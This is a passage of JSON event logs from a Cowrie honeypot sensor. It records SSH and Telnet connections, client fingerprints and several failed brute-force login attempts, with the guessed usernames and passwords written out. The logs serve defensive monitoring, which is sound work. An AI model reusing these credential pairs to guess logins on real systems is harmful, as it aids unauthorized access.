{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47406,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2799b9f6a63","protocol":"telnet","message":"New connection: 192.119.13.58:47406 (10.17.0.5:23) [session: f2799b9f6a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:08.596374Z"}
{"eventid":"cowrie.session.closed","duration":36.311522245407104,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:09.246235Z","src_ip":"192.119.13.58","session":"f29a7751a207","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.31324219703674,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:10.721123Z","src_ip":"192.119.13.58","session":"09d0af32f338","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":37054,"dst_ip":"159.203.135.109","dst_port":22,"session":"eff132fe70b5","protocol":"ssh","message":"New connection: 103.82.20.28:37054 (159.203.135.109:22) [session: eff132fe70b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:12.780281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:12.787098Z","src_ip":"103.82.20.28","session":"eff132fe70b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:13.048328Z","src_ip":"103.82.20.28","session":"eff132fe70b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:13.828823Z","src_ip":"103.82.20.28","session":"eff132fe70b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:15.098305Z","src_ip":"103.82.20.28","session":"eff132fe70b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49774,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae860353469e","protocol":"telnet","message":"New connection: 192.119.13.58:49774 (10.17.0.5:23) [session: ae860353469e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:15.442726Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":44498,"dst_ip":"159.203.135.109","dst_port":22,"session":"351c0f2e86b1","protocol":"ssh","message":"New connection: 38.93.206.2:44498 (159.203.135.109:22) [session: 351c0f2e86b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:19.631655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:19.637829Z","src_ip":"38.93.206.2","session":"351c0f2e86b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:19.685354Z","src_ip":"38.93.206.2","session":"351c0f2e86b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159753asd","message":"login attempt [root/159753asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:19.970185Z","src_ip":"38.93.206.2","session":"351c0f2e86b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:21.024629Z","src_ip":"38.93.206.2","session":"351c0f2e86b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58594,"dst_ip":"10.17.0.5","dst_port":23,"session":"e531f3e50968","protocol":"telnet","message":"New connection: 192.119.13.58:58594 (10.17.0.5:23) [session: e531f3e50968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:23.087954Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52704,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0c9c12e725d","protocol":"telnet","message":"New connection: 192.119.13.58:52704 (10.17.0.5:23) [session: b0c9c12e725d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:29.012233Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":54552,"dst_ip":"159.203.135.109","dst_port":22,"session":"e82cd840c4db","protocol":"ssh","message":"New connection: 41.242.115.83:54552 (159.203.135.109:22) [session: e82cd840c4db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:32.005620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:32.010793Z","src_ip":"41.242.115.83","session":"e82cd840c4db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:32.221978Z","src_ip":"41.242.115.83","session":"e82cd840c4db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yc@123","message":"login attempt [root/yc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:33.097002Z","src_ip":"41.242.115.83","session":"e82cd840c4db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":54702,"dst_ip":"10.17.0.5","dst_port":22,"session":"045df1d01661","protocol":"ssh","message":"New connection: 91.4.14.170:54702 (10.17.0.5:22) [session: 045df1d01661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:34.244674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:34.250434Z","src_ip":"91.4.14.170","session":"045df1d01661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:34.311837Z","src_ip":"41.242.115.83","session":"e82cd840c4db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:34.388673Z","src_ip":"91.4.14.170","session":"045df1d01661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bpuser","password":"bpuser","message":"login attempt [bpuser/bpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:34.864098Z","src_ip":"91.4.14.170","session":"045df1d01661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:35.967088Z","src_ip":"91.4.14.170","session":"045df1d01661","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44722,"dst_ip":"10.17.0.5","dst_port":23,"session":"af82980e802d","protocol":"telnet","message":"New connection: 192.119.13.58:44722 (10.17.0.5:23) [session: af82980e802d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:38.621537Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50968,"dst_ip":"10.17.0.5","dst_port":23,"session":"5092b5c54ed1","protocol":"telnet","message":"New connection: 192.119.13.58:50968 (10.17.0.5:23) [session: 5092b5c54ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:40.459204Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52794,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3e40f2b6a3d","protocol":"telnet","message":"New connection: 192.119.13.58:52794 (10.17.0.5:23) [session: a3e40f2b6a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:40.953731Z"}
{"eventid":"cowrie.session.closed","duration":40.75093698501587,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:49.347180Z","src_ip":"192.119.13.58","session":"f2799b9f6a63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33406,"dst_ip":"10.17.0.5","dst_port":23,"session":"17d1b563ce24","protocol":"telnet","message":"New connection: 192.119.13.58:33406 (10.17.0.5:23) [session: 17d1b563ce24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:51.524561Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":45920,"dst_ip":"10.17.0.5","dst_port":22,"session":"e53640397cb9","protocol":"ssh","message":"New connection: 80.66.85.226:45920 (10.17.0.5:22) [session: e53640397cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:52.314685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:52.319800Z","src_ip":"80.66.85.226","session":"e53640397cb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:52.417607Z","src_ip":"80.66.85.226","session":"e53640397cb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"margosha","message":"login attempt [root/margosha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:52.704286Z","src_ip":"80.66.85.226","session":"e53640397cb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:53.803137Z","src_ip":"80.66.85.226","session":"e53640397cb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42246,"dst_ip":"10.17.0.5","dst_port":23,"session":"917e3998cf58","protocol":"telnet","message":"New connection: 192.119.13.58:42246 (10.17.0.5:23) [session: 917e3998cf58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:54.259701Z"}
{"eventid":"cowrie.session.closed","duration":33.10311317443848,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:56.190943Z","src_ip":"192.119.13.58","session":"e531f3e50968","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.76794672012329,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:11.210581Z","src_ip":"192.119.13.58","session":"ae860353469e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":34898,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca8b479c5db5","protocol":"ssh","message":"New connection: 186.219.184.142:34898 (10.17.0.5:22) [session: ca8b479c5db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:11.628567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:11.634267Z","src_ip":"186.219.184.142","session":"ca8b479c5db5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:11.778681Z","src_ip":"186.219.184.142","session":"ca8b479c5db5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"project123","message":"login attempt [root/project123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:12.385292Z","src_ip":"186.219.184.142","session":"ca8b479c5db5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:13.535393Z","src_ip":"186.219.184.142","session":"ca8b479c5db5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.53298783302307,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:13.545084Z","src_ip":"192.119.13.58","session":"b0c9c12e725d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":5812,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab91bbb873be","protocol":"ssh","message":"New connection: 213.209.159.56:5812 (10.17.0.5:22) [session: ab91bbb873be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:14.378377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:14.383509Z","src_ip":"213.209.159.56","session":"ab91bbb873be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:14.466596Z","src_ip":"213.209.159.56","session":"ab91bbb873be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35800,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1d63b312300","protocol":"telnet","message":"New connection: 192.119.13.58:35800 (10.17.0.5:23) [session: e1d63b312300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:14.576231Z"}
{"eventid":"cowrie.login.failed","username":"kobi","password":"kobi","message":"login attempt [kobi/kobi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:22:14.872442Z","src_ip":"213.209.159.56","session":"ab91bbb873be","protocol":"ssh"}
